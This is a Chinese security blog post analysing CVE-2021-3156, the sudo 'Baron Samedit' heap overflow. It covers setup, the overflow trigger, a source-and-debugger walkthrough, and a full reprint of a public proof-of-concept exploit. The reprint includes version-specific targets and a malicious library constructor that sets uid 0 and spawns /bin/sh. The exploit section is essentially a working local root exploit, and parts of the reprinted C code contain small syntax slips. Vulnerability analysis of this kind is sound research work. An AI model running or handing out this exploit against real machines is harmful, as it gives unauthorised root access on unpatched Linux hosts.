CVE-2021-3156 Linux sudo提权分析

百家 作者:Chamd5安全团队 2022-03-20 08:51:32

$ 前言:

这是本人入门Linux内核的第二个星期,上一篇dirty-pipe分析已经在先知社区投稿了。本着积累多点bypass手段的想法,开始了这个sudo堆溢出学习。

$ EXP:

  • https://github.com/blasty/CVE-2021-3156

$ 环境搭建

  • ubuntu 18.04
  • sudo-1.8.25(环境搭建)
  • sudo-1.8.21(静态分析用)

流程:

进入root

sudo su

搭建pwndbg 编译sudo

make
make install

这样编译出来的sudo是存在symbol

$ 漏洞描述


$ 受影响的版本:

sudo: 1.8.2 - 1.8.31p2 sudo: 1.9.0 - 1.9.5p1

$ 检测sudo缺陷存在:


如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

$ 漏洞复现:

$ 漏洞原理分析:


触发堆溢出:

sudoedit -s '\' 1111111111111111

调用链:(不同版本源码的行数不同)

sudo.c:134        ==> main
sudo.c:247        ==> policy_check
sudo.c:1149     ==> sudoers_policy_check
policy.c:775    ==> sudoers_policy_main
sudoers.c:293    ==> set_cmnd
sudoers.c:853 ==> 溢出位置

参数:注意几个参数:

  • mode
  • flags
mode
NewArgv = sudoedit \\ 1111111111111111

分析parse_args.c


parse_argssudo用于处理传入参数的函数。

1. 静态分析


配置了mode = MODE_EDIT == 0x2


配置flags = MODE_SHELL == 0x20000 由于mode == MODE_EDIT所以跳转到 577行

配置:

*argv[0] == 's' 后续为:udoedit
*argv[1] == '\\'
*argv[2] == '1' 后续为:111111111111111
2. 动态调试分析


131072 == 0x20000 == MODE_SHELL



如图可以证实静态分析上对argv的修改。

分析sudo.c:


1.静态分析:


sudo_mode执行完parse_args被设置为:0x20002


根据转换触发到case MODE_EDIT


然后在MODE_RUN内部执行policy_check

2.动态分析:


131074 == 0x20002

分析sudoers_policy_check


1.静态分析:


此时argc == 3 然后调用sudoers_policy_main

分析sudoers_policy_main:


静态分析:


  • 在270行配置(int) NewArgc == 3
  • 在271行固定了\\后的长度最多为2个指针 == 16 字节
  • 在276行将*NewArgv == 'sudoedit' '\\' '111...' 'NULL'


sudoers_policy_main将在293行调用到set_cmnd

动态分析:


分析set_cmnd:


静态分析:


由于之前没有给user_cmnd赋值,所以在812行将NewArgv指向sudoedit的指针赋值到user_cmnd



这里没搞懂是怎么ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)判断正确的


在849行中将申请的内存空间大小为 0x13 == '\\1111111111111111 ' 在853行中会判断正确后进入到溢出点第863行 在861行即为存在溢出的点,由于isspace()识别的是'\20',所以'\0'被bypass了,进而达成溢出条件。

注意:传入2个参数后最多能溢出16字节。user_args堆空间地址只要看在859行下断点看to指定地址就能获取到。

溢出情景模拟:

当前内存:'\\' + '\0' + '1111111111111111' 当前NewArgv + 1 == '\\' + '\0',那么执行到if判断时,就会from++进而将*from指向了'1111111111111111',继而调用了*to++ = *from++'1111111111111111'复制到了user_args堆空间。而这已经将user_args堆空间占满了,但是在for循环上却仍然可以继续将'1111111111111111'复制到user_args堆空间后面的空间,在调用下一次for循环是NewArgv + 1 == '1111111111111111',而在whilefrom[0] != '\\'进而导致直接调用*to++ = *from++'1111111111111111'复制到溢出空间,进而造成堆溢出。

正常的user_args堆空间:


发生溢出后的user_args堆空间:


$ 利用分析


下面是EXP解析:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>

// 512 environment variables should be enough for everyone
#define MAX_ENVP 512
#define SUDOEDIT_PATH "/usr/bin/sudoedit"

typedef struct {
    char *target_name;
    char *sudoedit_path;
    uint32_t smash_len_a;
    uint32_t smash_len_b;
    uint32_t null_stomp_len;
    uint32_t lc_all_len; 
} target_t;

target_t targets[] = {
    {
        // Yes, same values as 20.04.1, but also confirmed.
        .target_name    = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
        .sudoedit_path  = SUDOEDIT_PATH,
        .smash_len_a    = 56,
        .smash_len_b    = 54,
        .null_stomp_len = 63, 
        .lc_all_len     = 212
    },
    {
        .target_name    = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
        .sudoedit_path  = SUDOEDIT_PATH,
        .smash_len_a    = 56,
        .smash_len_b    = 54,
        .null_stomp_len = 63, 
        .lc_all_len     = 212
    },
    {
        .target_name    = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
        .sudoedit_path  = SUDOEDIT_PATH,
        .smash_len_a    = 64,
        .smash_len_b    = 49,
        .null_stomp_len = 60, 
        .lc_all_len     = 214
    }
};

void usage(char *prog) {
    fprintf(stdout,
        "  usage: %s <target>\n\n"
        "  available targets:\n"
        "  ------------------------------------------------------------\n",
        prog
    );
    for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
        printf("    %d) %s\n", i, targets[i].target_name);
    }
    fprintf(stdout,
        "  ------------------------------------------------------------\n"
        "\n"
        "  manual mode:\n"
        "    %s <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>\n"
        "\n",
        prog
    );
}

int main(int argc, char *argv[]) {
    printf("\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n\n");

    if (argc != 2 && argc != 5) {
        usage(argv[0]);
        return -1;
    }

    target_t *target = NULL;
    if (argc == 2) {
        int target_idx = atoi(argv[1]);

        if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
            fprintf(stderr, "invalid target index\n");
            return -1;
        }

        target = &targets[ target_idx ];
    }  else {
        target = malloc(sizeof(target_t));
        target->target_name    = "Manual";
        target->sudoedit_path  = SUDOEDIT_PATH; // "/usr/bin/sudoedit"
        target->smash_len_a    = atoi(argv[1]);
        target->smash_len_b    = atoi(argv[2]);
        target->null_stomp_len = atoi(argv[3]);
        target->lc_all_len     = atoi(argv[4]);
    }

    printf(
        "using target: %s ['%s'] (%d, %d, %d, %d)\n"
        target->target_name,
        target->sudoedit_path,
        target->smash_len_a,
        target->smash_len_b,
        target->null_stomp_len,
        target->lc_all_len
    );

    char *smash_a = calloc(target->smash_len_a + 2, 1);     //这里填充多2个字节
    char *smash_b = calloc(target->smash_len_b + 2, 1);     //这里填充多2个字节

    memset(smash_a, 'A', target->smash_len_a);  //填充A
    memset(smash_b, 'B', target->smash_len_b);  //填充B

    smash_a[target->smash_len_a] = '\\';
    smash_b[target->smash_len_b] = '\\';

    char *s_argv[]={
        "sudoedit""-s", smash_a, "\\", smash_b, NULL
    };
    /** 56 * A + '\\' + '\0' + '\0' + '\\' + '\0' + 54 * B + '\\' + '\0'    
     ** 生成113个字节空间
     **/
    char *s_envp[MAX_ENVP];
    int envp_pos = 0;

    for(int i = 0; i < target->null_stomp_len; i++) {
        s_envp[envp_pos++] = "\\";  //写入63个\\
    }
    s_envp[envp_pos++] = "X/P0P_SH3LLZ_";

    char *lc_all = calloc(target->lc_all_len + 16, 1);  //212
    strcpy(lc_all, "LC_ALL=C.UTF-8@");
    memset(lc_all+15, 'C', target->lc_all_len);

    s_envp[envp_pos++] = lc_all;
    s_envp[envp_pos++] = NULL;

    printf("** pray for your rootshell.. **\n");

    execve(target->sudoedit_path, s_argv, s_envp);  //触发提权
    return 0;
}//*s_envp == 63个\\+"X/P0P_SH3LLZ_"+lc_all指针+NULL
 //*lc_all == "LC_ALL=C.UTF-8@" + 197个"C" 
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
    printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
    setuid(0); seteuid(0); setgid(0); setegid(0);
    static char *a_argv[] = { "sh", NULL };
    static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execv("/bin/sh", a_argv);
#endif
}
大概EXP调用流程:

利用setlocale将我们expcallocLC_ALL堆块free掉,然后在程序执行时调用get_user_info申请0x80堆块时会将user_args堆块申请在相邻ni->name = compatservice_user相邻位置。然后user_args堆块与ni->name = compatservice_user堆块位置就相对固定,进而达成100%溢出的条件来将原始service_table链表中的compat块中的ni ->name给覆盖掉,进而执行__libc_dlopen时调用到我们伪造的libc,然后调用libc中的初始化函数init来高权限调用setuid(0); seteuid(0); setgid(0); setegid(0);execv("/bin/sh", a_argv);来提权root。关于实现细节就不方便讲解了。下面是溢出执行我们的libc的参数详情:



$ 分析细节:

  • CVE-2021-3156调试分析
  • CVE-2021-3156 sudo堆溢出分析与利用
  • cve-2021-3156分析
  • Sudo Exploit Writeup
  • Heap-based buffer overflow in Sudo (CVE-2021-3156)
  • util-linux mount/unmount ASLR bypass via environment variable
  • CVE-2021-3156 sudo heap-based bufoverflow 复现&分析


end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接